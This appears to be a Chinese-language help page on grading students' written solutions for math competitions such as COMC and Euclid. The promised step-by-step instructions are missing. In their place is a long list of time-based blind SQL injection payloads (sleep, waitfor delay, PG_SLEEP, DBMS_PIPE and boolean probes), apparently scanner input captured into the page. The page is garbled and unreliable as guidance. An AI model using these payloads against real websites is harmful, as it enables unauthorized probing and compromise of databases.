如何给学生批改作业和打分

对于像COMC、FRYER、GALIOS、EUCLID需要写步骤的数学竞赛,为了让学生在竞赛中取得好成绩,老师往往需要给学生在做题步骤上做一些指点。

目前我们的后台教学系统已经完全支持这一功能,这里详细列出了使用步骤:



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H2NSS1yl
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*1
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*1
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*1
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*1
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-1 OR 2+577-577-1=0+0+0+1
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-1 OR 3+577-577-1=0+0+0+1
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*if(now()=sysdate(),sleep(15),0)
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0'XOR(
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0"XOR(
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(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
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-1; waitfor delay '0:0:15' --
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-1); waitfor delay '0:0:15' --
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-1)); waitfor delay '0:0:15' --
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ZbJ0H0Et')); waitfor delay '0:0:15' --
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-1 OR 831=(SELECT 831 FROM PG_SLEEP(15))--
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-1) OR 98=(SELECT 98 FROM PG_SLEEP(15))--
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-1)) OR 66=(SELECT 66 FROM PG_SLEEP(15))--
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mnyT8eFE' OR 69=(SELECT 69 FROM PG_SLEEP(15))--
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8FFGyNA1') OR 536=(SELECT 536 FROM PG_SLEEP(15))--
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1p9EOOLm')) OR 622=(SELECT 622 FROM PG_SLEEP(15))--
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*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
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'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
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@@m198Y
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*1
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*1
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*1
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*1
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-1 OR 2+22-22-1=0+0+0+1
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-1 OR 3+22-22-1=0+0+0+1
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*if(now()=sysdate(),sleep(15),0)
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(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
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-1; waitfor delay '0:0:15' --
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-1); waitfor delay '0:0:15' --
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-1)); waitfor delay '0:0:15' --
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UGtXjgWQ')); waitfor delay '0:0:15' --
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-1 OR 930=(SELECT 930 FROM PG_SLEEP(15))--
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-1) OR 702=(SELECT 702 FROM PG_SLEEP(15))--
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-1)) OR 644=(SELECT 644 FROM PG_SLEEP(15))--
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57A2h97E' OR 377=(SELECT 377 FROM PG_SLEEP(15))--
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jQzPEKAw') OR 706=(SELECT 706 FROM PG_SLEEP(15))--
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Cl41jor6')) OR 348=(SELECT 348 FROM PG_SLEEP(15))--
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*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
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'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
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-1 OR 3+311-311-1=0+0+0+1
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(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
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-1; waitfor delay '0:0:15' --
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GA44fYAD')); waitfor delay '0:0:15' --
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-1 OR 248=(SELECT 248 FROM PG_SLEEP(15))--
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-1) OR 391=(SELECT 391 FROM PG_SLEEP(15))--
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-1)) OR 907=(SELECT 907 FROM PG_SLEEP(15))--
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Uy3gQ4gk' OR 292=(SELECT 292 FROM PG_SLEEP(15))--
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6euS4muN') OR 635=(SELECT 635 FROM PG_SLEEP(15))--
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56YFUSXe')) OR 16=(SELECT 16 FROM PG_SLEEP(15))--
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*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
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'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
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@@Yt5a1